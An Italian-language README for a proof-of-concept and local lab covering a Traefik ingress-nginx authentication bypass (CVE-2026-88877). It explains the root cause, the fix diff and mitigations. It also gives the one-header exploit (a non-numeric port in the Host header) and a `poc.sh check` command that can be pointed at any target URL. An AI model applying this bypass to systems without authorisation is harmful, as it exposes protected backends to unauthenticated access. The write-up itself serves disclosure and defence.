
Proof-of-concept e laboratorio riproducibile per CVE-2026-88877, un bypass di autenticazione di Traefik ingress-nginx tramite from-to-www-redirect, con una modalità di verifica in sola lettura.
v3.7.0–v3.7.11 — Bypass dell'autenticazione tramite from-to-www-redirectAutore: pwnVader · Licenza: MIT (radice del repository)
| Componente | Traefik (provider ingress-nginx per Kubernetes, providers.kubernetesingressnginx) |
| Tipo | CWE-639 — Bypass dell'autorizzazione tramite chiave controllata dall'utente |
| Affetto | Traefik >= v3.7.0, <= v3.7.11 (v2 e < v3.7.0 non sono affetti) |
| Corretto | v3.7.12 |
| CVE | CVE-2026-88877 — CVSS 4.0 9.3 (Critico, secondo l'avviso del fornitore) · CVSS 3.1 9.8 (come pubblicato da alcuni database di vulnerabilità) |
| Avviso ufficiale | GHSA-cjr6-pf59-jq29 (avviso del repository Traefik) |
| PoC | poc.sh · lab/ |
Stato della divulgazione. Questa vulnerabilità è stata divulgata pubblicamente dal progetto Traefik ed è corretta nella v3.7.12. Questo documento è un'analisi tecnica indipendente con un laboratorio riproducibile — non è la scoperta originale. La vulnerabilità è stata segnalata/divulgata tramite l'avviso del fornitore elencato sopra (vedi anche l'avviso di VulnCheck). Non utilizzare questo materiale contro sistemi senza esplicita autorizzazione.
Identificatori GHSA. L'avviso ufficiale del repository è GHSA-cjr6-pf59-jq29. Il database generico degli avvisi di GitHub contiene anche un record separato, GHSA-9rch-gvf7-hrfc, per lo stesso problema; quando si cita la vulnerabilità, preferire l'avviso del repository.
Quando un Ingress contiene sia un'annotazione di autenticazione (ad es.
nginx.ingress.kubernetes.io/auth-type: basic) sia
nginx.ingress.kubernetes.io/from-to-www-redirect: "true", il provider ingress-nginx di Traefik
crea un router "gemello" aggiuntivo che corrisponde solo all'host, contiene unicamente il middleware
RedirectRegex generato, e punta comunque al backend protetto:
// pkg/provider/kubernetes/ingress-nginx/translator.go (v3.7.10)
conf.HTTP.Middlewares[mwName] = &dynamic.Middleware{
RedirectRegex: &dynamic.RedirectRegex{
Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
Replacement: fmt.Sprintf("$1://%s$2/$3", f.TargetHostname),
StatusCode: new(http.StatusPermanentRedirect), // 308
},
}
conf.HTTP.Routers[routerKey+"-from-to-www-redirect"] = &dynamic.Router{
Rule: f.ExtraRouterRule, // Host("www.example.com")
Middlewares: []string{mwName}, // SOLO il middleware di redirect
Service: rt.Service, // <-- il backend protetto
}
RedirectRegex non è un handler terminale: se la sua regex non corrisponde, la richiesta viene passata
all'handler successivo e infine inoltrata al backend. La regex accetta solo una porta numerica
((:[0-9]+)?), mentre il matcher Host() di Traefik canonicalizza l'authority tramite
net.SplitHostPort. Una richiesta il cui header Host ha una porta non numerica o vuota quindi:
Host("www.example.com")), mawww.example.com:x), quindi non viene reindirizzata, eUna singola richiesta non autenticata — Host: www.example.com:x — raggiunge un backend che richiede
autenticazione. Il codice di stato HTTP restituito dipende dal backend stesso: in questo laboratorio il
backend traefik/whoami risponde 200, ma il fatto rilevante per la sicurezza è che la richiesta
ha raggiunto il backend senza autenticazione, non il codice di stato specifico.
v3.7.0–v3.7.11 in esecuzione con il provider ingress-nginx abilitato
(--providers.kubernetesingressnginx=true).nginx.ingress.kubernetes.io/from-to-www-redirect: "true", per un host senza una controparte www.
(altrimenti il router gemello non viene generato).# requirements: docker, kind (https://kind.sigs.k8s.io), kubectl
./lab/up.sh # kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh # tear down
poc.sh check può anche essere puntato verso qualsiasi deployment candidato:
./poc.sh check --url https://target.example --host target.example --verbose
[1] Protected host (Host: example.local) — authentication must be enforced
HTTP 401
[PASS] auth middleware enforced (HTTP 401)
[2] www host (Host: www.example.local) — the redirect router
HTTP 308
[PASS] redirect router responds (HTTP 308)
[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
HTTP 200
> Hostname: whoami-ff77f998d-25f6n
> RemoteAddr: 10.244.0.8:57586
> X-Forwarded-Server: traefik-7f76f4c58d-5knfz
== RESULT ==
[PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)
Il backend utilizzato nel laboratorio (traefik/whoami) restituisce la richiesta, dimostrando che la richiesta ha raggiunto il
servizio protetto senza header Authorization e senza middleware di autenticazione applicato. Il codice di stato
mostrato (200) è quello che questo particolare backend restituisce; con un backend diverso il bypass potrebbe
manifestarsi con un'altra risposta non-401/403/non-redirect.
- Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
+ // Anchored to prevent ReplaceAllString from rewriting past the leading URL.
+ Regex: `^(https?)://(?:\[[^/\]]*\]|[^/:]+)(:[0-9]+)?[^/]*/(.*?)/?$`,
...
- Service: rt.Service,
+ // The redirect router does not carry the location middlewares (auth included),
+ // so it must never reach the backend.
+ Service: unavailableServiceName,
Il router di redirect ora punta a un servizio interno unavailable, quindi anche se una richiesta scivola
oltre la regex non può mai raggiungere un backend protetto.
Aggiornare a Traefik v3.7.12 o successivo. Le installazioni che non possono aggiornare dovrebbero temporaneamente rimuovere
nginx.ingress.kubernetes.io/from-to-www-redirect da qualsiasi Ingress che combina autenticazione o
allowlist, e implementare il redirect con una configurazione che preservi i middleware di controllo degli accessi
(ad es. CRD Traefik RedirectScheme/RedirectRegex espliciti con i middleware
associati). Difesa in profondità: applicare l'autenticazione anche a livello di backend/upstream.
Solo per test di sicurezza autorizzati. Il laboratorio è locale e autonomo; la modalità check è
di sola lettura (tre richieste GET) e deve essere utilizzata solo contro sistemi di tua proprietà o per cui
sei esplicitamente autorizzato a eseguire test.